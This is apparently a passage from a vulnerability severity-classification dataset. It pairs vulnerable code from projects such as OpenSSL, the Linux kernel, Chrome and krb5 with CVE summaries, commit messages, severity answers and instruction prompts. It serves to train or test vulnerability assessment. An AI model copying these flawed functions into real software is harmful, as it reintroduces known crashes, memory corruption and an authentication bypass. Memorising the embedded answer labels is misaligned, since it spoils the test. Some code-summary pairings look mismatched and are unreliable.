{
s->packet_length = 0;
goto again;
}
s->rstate=SSL_ST_READ_BODY;
p=s->packet;
if (s->msg_callback)
s->msg_callback(0, 0, SSL3_RT_HEADER, p, DTLS1_RT_HEADER_LENGTH, s, s->msg_callback_arg);
/* Pull apart the header into the DTLS1_RECORD */
rr->type= *(p++);
ssl_major= *(p++);
ssl_minor= *(p++);
version=(ssl_major<<8)|ssl_minor;
/* sequence number is 64 bits, with top 2 bytes = epoch */
n2s(p,rr->epoch);
memcpy(&(s->s3->read_sequence[2]), p, 6);
p+=6;
n2s(p,rr->length);
/* Lets check version */
if (!s->first_packet)
{
if (version != s->version)
{
/* unexpected version, silently discard */
rr->length = 0;
s->packet_length = 0;
goto again;
}
}
if ((version & 0xff00) != (s->version & 0xff00))
{
/* wrong version, silently discard record */
rr->length = 0;
s->packet_length = 0;
goto again;
}
if (rr->length > SSL3_RT_MAX_ENCRYPTED_LENGTH)
{
/* record too long, silently discard it */
rr->length = 0;
s->packet_length = 0;
goto again;
}
/* now s->rstate == SSL_ST_READ_BODY */
}
/* s->rstate == SSL_ST_READ_BODY, get and decode the data */
if (rr->length > s->packet_length-DTLS1_RT_HEADER_LENGTH)
{
/* now s->packet_length == DTLS1_RT_HEADER_LENGTH */
i=rr->length;
n=ssl3_read_n(s,i,i,1);
/* this packet contained a partial record, dump it */
if ( n != i)
{
rr->length = 0;
s->packet_length = 0;
goto again;
}
/* now n == rr->length,
* and s->packet_length == DTLS1_RT_HEADER_LENGTH + rr->length */
}
s->rstate=SSL_ST_READ_HEADER; /* set state for later operations */
/* match epochs. NULL means the packet is dropped on the floor */
bitmap = dtls1_get_bitmap(s, rr, &is_next_epoch);
if ( bitmap == NULL)
{
rr->length = 0;
s->packet_length = 0; /* dump this record */
goto again; /* get another record */
}
#ifndef OPENSSL_NO_SCTP
/* Only do replay check if no SCTP bio */
if (!BIO_dgram_is_sctp(SSL_get_rbio(s)))
{
#endif
/* Check whether this is a repeat, or aged record.
* Don't check if we're listening and this message is
* a ClientHello. They can look as if they're replayed,
* since they arrive from different connections and
* would be dropped unnecessarily.
*/
if (!(s->d1->listen && rr->type == SSL3_RT_HANDSHAKE &&
*p == SSL3_MT_CLIENT_HELLO) &&
!dtls1_record_replay_check(s, bitmap))
{
rr->length = 0;
s->packet_length=0; /* dump this record */
goto again; /* get another record */
}
#ifndef OPENSSL_NO_SCTP
}
#endif
/* just read a 0 length packet */
if (rr->length == 0) goto again;
/* If this record is from the next epoch (either HM or ALERT),
* and a handshake is currently in progress, buffer it since it
* cannot be processed at this time. However, do not buffer
* anything while listening.
*/
if (is_next_epoch)
{
if ((SSL_in_init(s) || s->in_handshake) && !s->d1->listen)
{
dtls1_buffer_record(s, &(s->d1->unprocessed_rcds), rr->seq_num);
}
rr->length = 0;
s->packet_length = 0;
goto again;
}
if (!dtls1_process_record(s))
{
rr->length = 0;
s->packet_length = 0; /* dump this record */
goto again; /* get another record */
}
return(1);
}
Vulnerability Type: DoS
CWE ID:
Summary: OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via a crafted DTLS message that is processed with a different read operation for the handshake header than for the handshake body, related to the dtls1_get_record function in d1_pkt.c and the ssl3_read_n function in s3_pkt.c.
Commit Message: Follow on from CVE-2014-3571. This fixes the code that was the original source
of the crash due to p being NULL. Steve's fix prevents this situation from
occuring - however this is by no means obvious by looking at the code for
dtls1_get_record. This fix just makes things look a bit more sane.
Reviewed-by: Dr Stephen Henson <[email protected]> | Medium | 166,827 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int dccp_v6_connect(struct sock *sk, struct sockaddr *uaddr,
int addr_len)
{
struct sockaddr_in6 *usin = (struct sockaddr_in6 *)uaddr;
struct inet_connection_sock *icsk = inet_csk(sk);
struct inet_sock *inet = inet_sk(sk);
struct ipv6_pinfo *np = inet6_sk(sk);
struct dccp_sock *dp = dccp_sk(sk);
struct in6_addr *saddr = NULL, *final_p, final;
struct flowi6 fl6;
struct dst_entry *dst;
int addr_type;
int err;
dp->dccps_role = DCCP_ROLE_CLIENT;
if (addr_len < SIN6_LEN_RFC2133)
return -EINVAL;
if (usin->sin6_family != AF_INET6)
return -EAFNOSUPPORT;
memset(&fl6, 0, sizeof(fl6));
if (np->sndflow) {
fl6.flowlabel = usin->sin6_flowinfo & IPV6_FLOWINFO_MASK;
IP6_ECN_flow_init(fl6.flowlabel);
if (fl6.flowlabel & IPV6_FLOWLABEL_MASK) {
struct ip6_flowlabel *flowlabel;
flowlabel = fl6_sock_lookup(sk, fl6.flowlabel);
if (flowlabel == NULL)
return -EINVAL;
fl6_sock_release(flowlabel);
}
}
/*
* connect() to INADDR_ANY means loopback (BSD'ism).
*/
if (ipv6_addr_any(&usin->sin6_addr))
usin->sin6_addr.s6_addr[15] = 1;
addr_type = ipv6_addr_type(&usin->sin6_addr);
if (addr_type & IPV6_ADDR_MULTICAST)
return -ENETUNREACH;
if (addr_type & IPV6_ADDR_LINKLOCAL) {
if (addr_len >= sizeof(struct sockaddr_in6) &&
usin->sin6_scope_id) {
/* If interface is set while binding, indices
* must coincide.
*/
if (sk->sk_bound_dev_if &&
sk->sk_bound_dev_if != usin->sin6_scope_id)
return -EINVAL;
sk->sk_bound_dev_if = usin->sin6_scope_id;
}
/* Connect to link-local address requires an interface */
if (!sk->sk_bound_dev_if)
return -EINVAL;
}
sk->sk_v6_daddr = usin->sin6_addr;
np->flow_label = fl6.flowlabel;
/*
* DCCP over IPv4
*/
if (addr_type == IPV6_ADDR_MAPPED) {
u32 exthdrlen = icsk->icsk_ext_hdr_len;
struct sockaddr_in sin;
SOCK_DEBUG(sk, "connect: ipv4 mapped\n");
if (__ipv6_only_sock(sk))
return -ENETUNREACH;
sin.sin_family = AF_INET;
sin.sin_port = usin->sin6_port;
sin.sin_addr.s_addr = usin->sin6_addr.s6_addr32[3];
icsk->icsk_af_ops = &dccp_ipv6_mapped;
sk->sk_backlog_rcv = dccp_v4_do_rcv;
err = dccp_v4_connect(sk, (struct sockaddr *)&sin, sizeof(sin));
if (err) {
icsk->icsk_ext_hdr_len = exthdrlen;
icsk->icsk_af_ops = &dccp_ipv6_af_ops;
sk->sk_backlog_rcv = dccp_v6_do_rcv;
goto failure;
}
np->saddr = sk->sk_v6_rcv_saddr;
return err;
}
if (!ipv6_addr_any(&sk->sk_v6_rcv_saddr))
saddr = &sk->sk_v6_rcv_saddr;
fl6.flowi6_proto = IPPROTO_DCCP;
fl6.daddr = sk->sk_v6_daddr;
fl6.saddr = saddr ? *saddr : np->saddr;
fl6.flowi6_oif = sk->sk_bound_dev_if;
fl6.fl6_dport = usin->sin6_port;
fl6.fl6_sport = inet->inet_sport;
security_sk_classify_flow(sk, flowi6_to_flowi(&fl6));
final_p = fl6_update_dst(&fl6, np->opt, &final);
dst = ip6_dst_lookup_flow(sk, &fl6, final_p);
if (IS_ERR(dst)) {
err = PTR_ERR(dst);
goto failure;
}
if (saddr == NULL) {
saddr = &fl6.saddr;
sk->sk_v6_rcv_saddr = *saddr;
}
/* set the source address */
np->saddr = *saddr;
inet->inet_rcv_saddr = LOOPBACK4_IPV6;
__ip6_dst_store(sk, dst, NULL, NULL);
icsk->icsk_ext_hdr_len = 0;
if (np->opt != NULL)
icsk->icsk_ext_hdr_len = (np->opt->opt_flen +
np->opt->opt_nflen);
inet->inet_dport = usin->sin6_port;
dccp_set_state(sk, DCCP_REQUESTING);
err = inet6_hash_connect(&dccp_death_row, sk);
if (err)
goto late_failure;
dp->dccps_iss = secure_dccpv6_sequence_number(np->saddr.s6_addr32,
sk->sk_v6_daddr.s6_addr32,
inet->inet_sport,
inet->inet_dport);
err = dccp_connect(sk);
if (err)
goto late_failure;
return 0;
late_failure:
dccp_set_state(sk, DCCP_CLOSED);
__sk_dst_reset(sk);
failure:
inet->inet_dport = 0;
sk->sk_route_caps = 0;
return err;
}
Vulnerability Type: DoS +Priv
CWE ID: CWE-416
Summary: The IPv6 stack in the Linux kernel before 4.3.3 mishandles options data, which allows local users to gain privileges or cause a denial of service (use-after-free and system crash) via a crafted sendmsg system call.
Commit Message: ipv6: add complete rcu protection around np->opt
This patch addresses multiple problems :
UDP/RAW sendmsg() need to get a stable struct ipv6_txoptions
while socket is not locked : Other threads can change np->opt
concurrently. Dmitry posted a syzkaller
(http://github.com/google/syzkaller) program desmonstrating
use-after-free.
Starting with TCP/DCCP lockless listeners, tcp_v6_syn_recv_sock()
and dccp_v6_request_recv_sock() also need to use RCU protection
to dereference np->opt once (before calling ipv6_dup_options())
This patch adds full RCU protection to np->opt
Reported-by: Dmitry Vyukov <[email protected]>
Signed-off-by: Eric Dumazet <[email protected]>
Acked-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]> | High | 167,324 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void AddInputMethodNames(const GList* engines, InputMethodDescriptors* out) {
DCHECK(out);
for (; engines; engines = g_list_next(engines)) {
IBusEngineDesc* engine_desc = IBUS_ENGINE_DESC(engines->data);
const gchar* name = ibus_engine_desc_get_name(engine_desc);
const gchar* longname = ibus_engine_desc_get_longname(engine_desc);
const gchar* layout = ibus_engine_desc_get_layout(engine_desc);
const gchar* language = ibus_engine_desc_get_language(engine_desc);
if (InputMethodIdIsWhitelisted(name)) {
out->push_back(CreateInputMethodDescriptor(name,
longname,
layout,
language));
DLOG(INFO) << name << " (preloaded)";
}
}
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: Google Chrome before 13.0.782.107 does not properly handle nested functions in PDF documents, which allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a crafted document.
Commit Message: Remove use of libcros from InputMethodLibrary.
BUG=chromium-os:16238
TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before.
Review URL: http://codereview.chromium.org/7003086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98 | High | 170,517 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: isoclns_print(netdissect_options *ndo,
const uint8_t *p, u_int length, u_int caplen)
{
if (caplen <= 1) { /* enough bytes on the wire ? */
ND_PRINT((ndo, "|OSI"));
return;
}
if (ndo->ndo_eflag)
ND_PRINT((ndo, "OSI NLPID %s (0x%02x): ", tok2str(nlpid_values, "Unknown", *p), *p));
switch (*p) {
case NLPID_CLNP:
if (!clnp_print(ndo, p, length))
print_unknown_data(ndo, p, "\n\t", caplen);
break;
case NLPID_ESIS:
esis_print(ndo, p, length);
return;
case NLPID_ISIS:
if (!isis_print(ndo, p, length))
print_unknown_data(ndo, p, "\n\t", caplen);
break;
case NLPID_NULLNS:
ND_PRINT((ndo, "%slength: %u", ndo->ndo_eflag ? "" : ", ", length));
break;
case NLPID_Q933:
q933_print(ndo, p + 1, length - 1);
break;
case NLPID_IP:
ip_print(ndo, p + 1, length - 1);
break;
case NLPID_IP6:
ip6_print(ndo, p + 1, length - 1);
break;
case NLPID_PPP:
ppp_print(ndo, p + 1, length - 1);
break;
default:
if (!ndo->ndo_eflag)
ND_PRINT((ndo, "OSI NLPID 0x%02x unknown", *p));
ND_PRINT((ndo, "%slength: %u", ndo->ndo_eflag ? "" : ", ", length));
if (caplen > 1)
print_unknown_data(ndo, p, "\n\t", caplen);
break;
}
}
Vulnerability Type:
CWE ID: CWE-125
Summary: The ISO CLNS parser in tcpdump before 4.9.2 has a buffer over-read in print-isoclns.c:isoclns_print().
Commit Message: CVE-2017-12897/ISO CLNS: Use ND_TTEST() for the bounds checks in isoclns_print().
This fixes a buffer over-read discovered by Kamil Frankowicz.
Don't pass the remaining caplen - that's too hard to get right, and we
were getting it wrong in at least one case; just use ND_TTEST().
Add a test using the capture file supplied by the reporter(s). | High | 167,947 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void RenderWidgetHostViewAura::AcceleratedSurfaceRelease(
uint64 surface_handle) {
DCHECK(image_transport_clients_.find(surface_handle) !=
image_transport_clients_.end());
if (current_surface_ == surface_handle) {
current_surface_ = 0;
UpdateExternalTexture();
}
image_transport_clients_.erase(surface_handle);
}
Vulnerability Type:
CWE ID:
Summary: Google Chrome before 25.0.1364.99 on Mac OS X does not properly implement signal handling for Native Client (aka NaCl) code, which has unspecified impact and attack vectors.
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
[email protected]
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98 | High | 171,375 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: ProxyChannelDelegate::~ProxyChannelDelegate() {
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: Use-after-free vulnerability in Google Chrome before 22.0.1229.79 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving SVG text references.
Commit Message: Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer.
BUG=116317
TEST=ppapi, nacl tests, manual testing for experimental IPC proxy.
Review URL: https://chromiumcodereview.appspot.com/10641016
[email protected]
Review URL: https://chromiumcodereview.appspot.com/10625007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98 | High | 170,740 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: xps_begin_opacity(xps_document *doc, const fz_matrix *ctm, const fz_rect *area,
char *base_uri, xps_resource *dict,
char *opacity_att, fz_xml *opacity_mask_tag)
{
float opacity;
if (!opacity_att && !opacity_mask_tag)
return;
opacity = 1;
if (opacity_att)
opacity = fz_atof(opacity_att);
if (opacity_mask_tag && !strcmp(fz_xml_tag(opacity_mask_tag), "SolidColorBrush"))
{
char *scb_opacity_att = fz_xml_att(opacity_mask_tag, "Opacity");
char *scb_color_att = fz_xml_att(opacity_mask_tag, "Color");
if (scb_opacity_att)
opacity = opacity * fz_atof(scb_opacity_att);
if (scb_color_att)
{
fz_colorspace *colorspace;
float samples[32];
xps_parse_color(doc, base_uri, scb_color_att, &colorspace, samples);
opacity = opacity * samples[0];
}
opacity_mask_tag = NULL;
}
if (doc->opacity_top + 1 < nelem(doc->opacity))
{
doc->opacity[doc->opacity_top + 1] = doc->opacity[doc->opacity_top] * opacity;
doc->opacity_top++;
}
if (opacity_mask_tag)
{
fz_begin_mask(doc->dev, area, 0, NULL, NULL);
xps_parse_brush(doc, ctm, area, base_uri, dict, opacity_mask_tag);
fz_end_mask(doc->dev);
}
}
Vulnerability Type: Exec Code Overflow
CWE ID: CWE-119
Summary: Stack-based buffer overflow in the xps_parse_color function in xps/xps-common.c in MuPDF 1.3 and earlier allows remote attackers to execute arbitrary code via a large number of entries in the ContextColor value of the Fill attribute in a Path element.
Commit Message: | High | 165,227 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: long SeekHead::Parse() {
IMkvReader* const pReader = m_pSegment->m_pReader;
long long pos = m_start;
const long long stop = m_start + m_size;
int entry_count = 0;
int void_element_count = 0;
while (pos < stop) {
long long id, size;
const long status = ParseElementHeader(pReader, pos, stop, id, size);
if (status < 0) // error
return status;
if (id == 0x0DBB) // SeekEntry ID
++entry_count;
else if (id == 0x6C) // Void ID
++void_element_count;
pos += size; // consume payload
assert(pos <= stop);
}
assert(pos == stop);
m_entries = new (std::nothrow) Entry[entry_count];
if (m_entries == NULL)
return -1;
m_void_elements = new (std::nothrow) VoidElement[void_element_count];
if (m_void_elements == NULL)
return -1;
Entry* pEntry = m_entries;
VoidElement* pVoidElement = m_void_elements;
pos = m_start;
while (pos < stop) {
const long long idpos = pos;
long long id, size;
const long status = ParseElementHeader(pReader, pos, stop, id, size);
if (status < 0) // error
return status;
if (id == 0x0DBB) { // SeekEntry ID
if (ParseEntry(pReader, pos, size, pEntry)) {
Entry& e = *pEntry++;
e.element_start = idpos;
e.element_size = (pos + size) - idpos;
}
} else if (id == 0x6C) { // Void ID
VoidElement& e = *pVoidElement++;
e.element_start = idpos;
e.element_size = (pos + size) - idpos;
}
pos += size; // consume payload
assert(pos <= stop);
}
assert(pos == stop);
ptrdiff_t count_ = ptrdiff_t(pEntry - m_entries);
assert(count_ >= 0);
assert(count_ <= entry_count);
m_entry_count = static_cast<int>(count_);
count_ = ptrdiff_t(pVoidElement - m_void_elements);
assert(count_ >= 0);
assert(count_ <= void_element_count);
m_void_element_count = static_cast<int>(count_);
return 0;
}
Vulnerability Type: DoS Exec Code Mem. Corr.
CWE ID: CWE-20
Summary: libvpx in libwebm in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-06-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted mkv file, aka internal bug 23167726.
Commit Message: external/libvpx/libwebm: Update snapshot
Update libwebm snapshot. This update contains security fixes from upstream.
Upstream git hash: 229f49347d19b0ca0941e072b199a242ef6c5f2b
BUG=23167726
Change-Id: Id3e140e7b31ae11294724b1ecfe2e9c83b4d4207
(cherry picked from commit d0281a15b3c6bd91756e453cc9398c5ef412d99a)
| High | 173,836 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: pkinit_eku_authorize(krb5_context context, krb5_certauth_moddata moddata,
const uint8_t *cert, size_t cert_len,
krb5_const_principal princ, const void *opts,
const struct _krb5_db_entry_new *db_entry,
char ***authinds_out)
{
krb5_error_code ret;
int valid_eku;
const struct certauth_req_opts *req_opts = opts;
*authinds_out = NULL;
/* Verify the client EKU. */
ret = verify_client_eku(context, req_opts->plgctx, req_opts->reqctx,
&valid_eku);
if (ret)
return ret;
if (!valid_eku) {
TRACE_PKINIT_SERVER_EKU_REJECT(context);
return KRB5KDC_ERR_INCONSISTENT_KEY_PURPOSE;
}
return 0;
}
Vulnerability Type: Bypass
CWE ID: CWE-287
Summary: An authentication bypass flaw was found in the way krb5's certauth interface before 1.16.1 handled the validation of client certificates. A remote attacker able to communicate with the KDC could potentially use this flaw to impersonate arbitrary principals under rare and erroneous circumstances.
Commit Message: Fix certauth built-in module returns
The PKINIT certauth eku module should never authoritatively authorize
a certificate, because an extended key usage does not establish a
relationship between the certificate and any specific user; it only
establishes that the certificate was created for PKINIT client
authentication. Therefore, pkinit_eku_authorize() should return
KRB5_PLUGIN_NO_HANDLE on success, not 0.
The certauth san module should pass if it does not find any SANs of
the types it can match against; the presence of other types of SANs
should not cause it to explicitly deny a certificate. Check for an
empty result from crypto_retrieve_cert_sans() in verify_client_san(),
instead of returning ENOENT from crypto_retrieve_cert_sans() when
there are no SANs at all.
ticket: 8561 | Medium | 170,174 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int fib6_add_rt2node(struct fib6_node *fn, struct rt6_info *rt,
struct nl_info *info)
{
struct rt6_info *iter = NULL;
struct rt6_info **ins;
int replace = (info->nlh &&
(info->nlh->nlmsg_flags & NLM_F_REPLACE));
int add = (!info->nlh ||
(info->nlh->nlmsg_flags & NLM_F_CREATE));
int found = 0;
ins = &fn->leaf;
for (iter = fn->leaf; iter; iter = iter->dst.rt6_next) {
/*
* Search for duplicates
*/
if (iter->rt6i_metric == rt->rt6i_metric) {
/*
* Same priority level
*/
if (info->nlh &&
(info->nlh->nlmsg_flags & NLM_F_EXCL))
return -EEXIST;
if (replace) {
found++;
break;
}
if (iter->dst.dev == rt->dst.dev &&
iter->rt6i_idev == rt->rt6i_idev &&
ipv6_addr_equal(&iter->rt6i_gateway,
&rt->rt6i_gateway)) {
if (rt->rt6i_nsiblings)
rt->rt6i_nsiblings = 0;
if (!(iter->rt6i_flags & RTF_EXPIRES))
return -EEXIST;
if (!(rt->rt6i_flags & RTF_EXPIRES))
rt6_clean_expires(iter);
else
rt6_set_expires(iter, rt->dst.expires);
return -EEXIST;
}
/* If we have the same destination and the same metric,
* but not the same gateway, then the route we try to
* add is sibling to this route, increment our counter
* of siblings, and later we will add our route to the
* list.
* Only static routes (which don't have flag
* RTF_EXPIRES) are used for ECMPv6.
*
* To avoid long list, we only had siblings if the
* route have a gateway.
*/
if (rt->rt6i_flags & RTF_GATEWAY &&
!(rt->rt6i_flags & RTF_EXPIRES) &&
!(iter->rt6i_flags & RTF_EXPIRES))
rt->rt6i_nsiblings++;
}
if (iter->rt6i_metric > rt->rt6i_metric)
break;
ins = &iter->dst.rt6_next;
}
/* Reset round-robin state, if necessary */
if (ins == &fn->leaf)
fn->rr_ptr = NULL;
/* Link this route to others same route. */
if (rt->rt6i_nsiblings) {
unsigned int rt6i_nsiblings;
struct rt6_info *sibling, *temp_sibling;
/* Find the first route that have the same metric */
sibling = fn->leaf;
while (sibling) {
if (sibling->rt6i_metric == rt->rt6i_metric) {
list_add_tail(&rt->rt6i_siblings,
&sibling->rt6i_siblings);
break;
}
sibling = sibling->dst.rt6_next;
}
/* For each sibling in the list, increment the counter of
* siblings. BUG() if counters does not match, list of siblings
* is broken!
*/
rt6i_nsiblings = 0;
list_for_each_entry_safe(sibling, temp_sibling,
&rt->rt6i_siblings, rt6i_siblings) {
sibling->rt6i_nsiblings++;
BUG_ON(sibling->rt6i_nsiblings != rt->rt6i_nsiblings);
rt6i_nsiblings++;
}
BUG_ON(rt6i_nsiblings != rt->rt6i_nsiblings);
}
/*
* insert node
*/
if (!replace) {
if (!add)
pr_warn("NLM_F_CREATE should be set when creating new route\n");
add:
rt->dst.rt6_next = iter;
*ins = rt;
rt->rt6i_node = fn;
atomic_inc(&rt->rt6i_ref);
inet6_rt_notify(RTM_NEWROUTE, rt, info);
info->nl_net->ipv6.rt6_stats->fib_rt_entries++;
if (!(fn->fn_flags & RTN_RTINFO)) {
info->nl_net->ipv6.rt6_stats->fib_route_nodes++;
fn->fn_flags |= RTN_RTINFO;
}
} else {
if (!found) {
if (add)
goto add;
pr_warn("NLM_F_REPLACE set, but no existing node found!\n");
return -ENOENT;
}
*ins = rt;
rt->rt6i_node = fn;
rt->dst.rt6_next = iter->dst.rt6_next;
atomic_inc(&rt->rt6i_ref);
inet6_rt_notify(RTM_NEWROUTE, rt, info);
rt6_release(iter);
if (!(fn->fn_flags & RTN_RTINFO)) {
info->nl_net->ipv6.rt6_stats->fib_route_nodes++;
fn->fn_flags |= RTN_RTINFO;
}
}
return 0;
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: The fib6_add_rt2node function in net/ipv6/ip6_fib.c in the IPv6 stack in the Linux kernel through 3.10.1 does not properly handle Router Advertisement (RA) messages in certain circumstances involving three routes that initially qualified for membership in an ECMP route set until a change occurred for one of the first two routes, which allows remote attackers to cause a denial of service (system crash) via a crafted sequence of messages.
Commit Message: ipv6: only static routes qualify for equal cost multipathing
Static routes in this case are non-expiring routes which did not get
configured by autoconf or by icmpv6 redirects.
To make sure we actually get an ecmp route while searching for the first
one in this fib6_node's leafs, also make sure it matches the ecmp route
assumptions.
v2:
a) Removed RTF_EXPIRE check in dst.from chain. The check of RTF_ADDRCONF
already ensures that this route, even if added again without
RTF_EXPIRES (in case of a RA announcement with infinite timeout),
does not cause the rt6i_nsiblings logic to go wrong if a later RA
updates the expiration time later.
v3:
a) Allow RTF_EXPIRES routes to enter the ecmp route set. We have to do so,
because an pmtu event could update the RTF_EXPIRES flag and we would
not count this route, if another route joins this set. We now filter
only for RTF_GATEWAY|RTF_ADDRCONF|RTF_DYNAMIC, which are flags that
don't get changed after rt6_info construction.
Cc: Nicolas Dichtel <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]> | Medium | 166,022 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int cg_getattr(const char *path, struct stat *sb)
{
struct timespec now;
struct fuse_context *fc = fuse_get_context();
char * cgdir = NULL;
char *fpath = NULL, *path1, *path2;
struct cgfs_files *k = NULL;
const char *cgroup;
const char *controller = NULL;
int ret = -ENOENT;
if (!fc)
return -EIO;
memset(sb, 0, sizeof(struct stat));
if (clock_gettime(CLOCK_REALTIME, &now) < 0)
return -EINVAL;
sb->st_uid = sb->st_gid = 0;
sb->st_atim = sb->st_mtim = sb->st_ctim = now;
sb->st_size = 0;
if (strcmp(path, "/cgroup") == 0) {
sb->st_mode = S_IFDIR | 00755;
sb->st_nlink = 2;
return 0;
}
controller = pick_controller_from_path(fc, path);
if (!controller)
return -EIO;
cgroup = find_cgroup_in_path(path);
if (!cgroup) {
/* this is just /cgroup/controller, return it as a dir */
sb->st_mode = S_IFDIR | 00755;
sb->st_nlink = 2;
return 0;
}
get_cgdir_and_path(cgroup, &cgdir, &fpath);
if (!fpath) {
path1 = "/";
path2 = cgdir;
} else {
path1 = cgdir;
path2 = fpath;
}
/* check that cgcopy is either a child cgroup of cgdir, or listed in its keys.
* Then check that caller's cgroup is under path if fpath is a child
* cgroup, or cgdir if fpath is a file */
if (is_child_cgroup(controller, path1, path2)) {
if (!caller_is_in_ancestor(fc->pid, controller, cgroup, NULL)) {
/* this is just /cgroup/controller, return it as a dir */
sb->st_mode = S_IFDIR | 00555;
sb->st_nlink = 2;
ret = 0;
goto out;
}
if (!fc_may_access(fc, controller, cgroup, NULL, O_RDONLY)) {
ret = -EACCES;
goto out;
}
sb->st_mode = S_IFDIR | 00755;
k = cgfs_get_key(controller, cgroup, "tasks");
if (!k) {
sb->st_uid = sb->st_gid = 0;
} else {
sb->st_uid = k->uid;
sb->st_gid = k->gid;
}
free_key(k);
sb->st_nlink = 2;
ret = 0;
goto out;
}
if ((k = cgfs_get_key(controller, path1, path2)) != NULL) {
sb->st_mode = S_IFREG | k->mode;
sb->st_nlink = 1;
sb->st_uid = k->uid;
sb->st_gid = k->gid;
sb->st_size = 0;
free_key(k);
if (!caller_is_in_ancestor(fc->pid, controller, path1, NULL)) {
ret = -ENOENT;
goto out;
}
if (!fc_may_access(fc, controller, path1, path2, O_RDONLY)) {
ret = -EACCES;
goto out;
}
ret = 0;
}
out:
free(cgdir);
return ret;
}
Vulnerability Type: +Priv
CWE ID: CWE-264
Summary: LXCFS before 0.12 does not properly enforce directory escapes, which might allow local users to gain privileges by (1) querying or (2) updating a cgroup.
Commit Message: Fix checking of parent directories
Taken from the justification in the launchpad bug:
To a task in freezer cgroup /a/b/c/d, it should appear that there are no
cgroups other than its descendents. Since this is a filesystem, we must have
the parent directories, but each parent cgroup should only contain the child
which the task can see.
So, when this task looks at /a/b, it should see only directory 'c' and no
files. Attempt to create /a/b/x should result in -EPERM, whether /a/b/x already
exists or not. Attempts to query /a/b/x should result in -ENOENT whether /a/b/x
exists or not. Opening /a/b/tasks should result in -ENOENT.
The caller_may_see_dir checks specifically whether a task may see a cgroup
directory - i.e. /a/b/x if opening /a/b/x/tasks, and /a/b/c/d if doing
opendir('/a/b/c/d').
caller_is_in_ancestor() will return true if the caller in /a/b/c/d looks at
/a/b/c/d/e. If the caller is in a child cgroup of the queried one - i.e. if the
task in /a/b/c/d queries /a/b, then *nextcg will container the next (the only)
directory which he can see in the path - 'c'.
Beyond this, regular DAC permissions should apply, with the
root-in-user-namespace privilege over its mapped uids being respected. The
fc_may_access check does this check for both directories and files.
This is CVE-2015-1342 (LP: #1508481)
Signed-off-by: Serge Hallyn <[email protected]> | Medium | 166,704 |
